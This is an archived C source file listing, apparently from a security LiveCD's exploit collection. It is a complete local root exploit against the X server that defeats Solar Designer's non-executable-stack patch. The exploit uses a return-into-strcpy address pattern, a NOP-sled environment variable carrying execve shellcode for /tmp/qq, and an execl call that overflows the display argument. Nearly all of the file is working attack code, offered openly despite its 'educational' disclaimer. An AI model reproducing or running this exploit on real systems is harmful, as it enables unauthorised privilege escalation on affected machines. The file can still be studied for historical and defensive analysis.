home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / x1.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  66 lines

  1. /*
  2. ** Exploit no 1 for Solar Designer patch
  3. **  by nergal@icm.edu.pl
  4. **  This code is meant for educational and entertaining purposes only.
  5. **  You can distribute it freely provided credits are given.
  6. **
  7. */
  8.  
  9. #include <stdio.h>
  10.  
  11. /* change the following 0 if the code doesn't work */
  12. #define OFFSET                          0
  13. #define BUFFER_SIZE                     370
  14. #define EGG_SIZE                        2048
  15. #define NOP                             0x90
  16.  
  17. /* any address in data segment */
  18. #define DEST                            0x08223038
  19. /* strcpy linkage table entry */
  20. #define STRCPY                          0x08066a18
  21.  
  22. char shellcode[] =
  23.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  24.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  25.   "\x80\xe8\xdc\xff\xff\xff/tmp/qq";
  26.  
  27. char buf[BUFFER_SIZE];
  28. char egg[EGG_SIZE];
  29. char pattern[16];
  30.  
  31. void main(int argc, char **argv)
  32. {
  33.   /* try alignment in 3..18; three worked for me */
  34.   int i, align = 3;
  35.   int src = (int) &src - OFFSET;  /* formerly known as get_sp() :) */
  36.  
  37.   if (argc == 2)
  38.     align = atoi(argv[1]);
  39.  
  40.   *(int *) pattern = STRCPY;
  41.   *(int *) (pattern + 4) = DEST;
  42.   *(int *) (pattern + 8) = DEST;
  43.   *(int *) (pattern + 12) = src;
  44.   for (i = 0; i <= 15; i++)
  45.     if (pattern[i] == 0)
  46.       {
  47.         printf("zero in pattern (%i)\n", i);
  48.         exit(1);
  49.       }
  50.  
  51.   memset(buf, ' ', BUFFER_SIZE);
  52.   buf[BUFFER_SIZE - 1] = 0;
  53.   buf[0] = ':';
  54.   buf[1] = '9';
  55.   for (i = align; i < BUFFER_SIZE - 16; i += 16)
  56.     memcpy(buf + i, pattern, 16);
  57.  
  58.   memset(egg, NOP, EGG_SIZE);
  59.   strcpy(egg + EGG_SIZE - strlen(shellcode) - 2, shellcode);
  60.   strncpy(egg, "EGG=", 4);
  61.   putenv(egg);
  62.  
  63.   execl("/usr/X11R6/bin/X", "X", buf, "-nolock", 0);
  64.   perror("execl");
  65. }
  66. /*                    www.hack.co.za              [2000]*/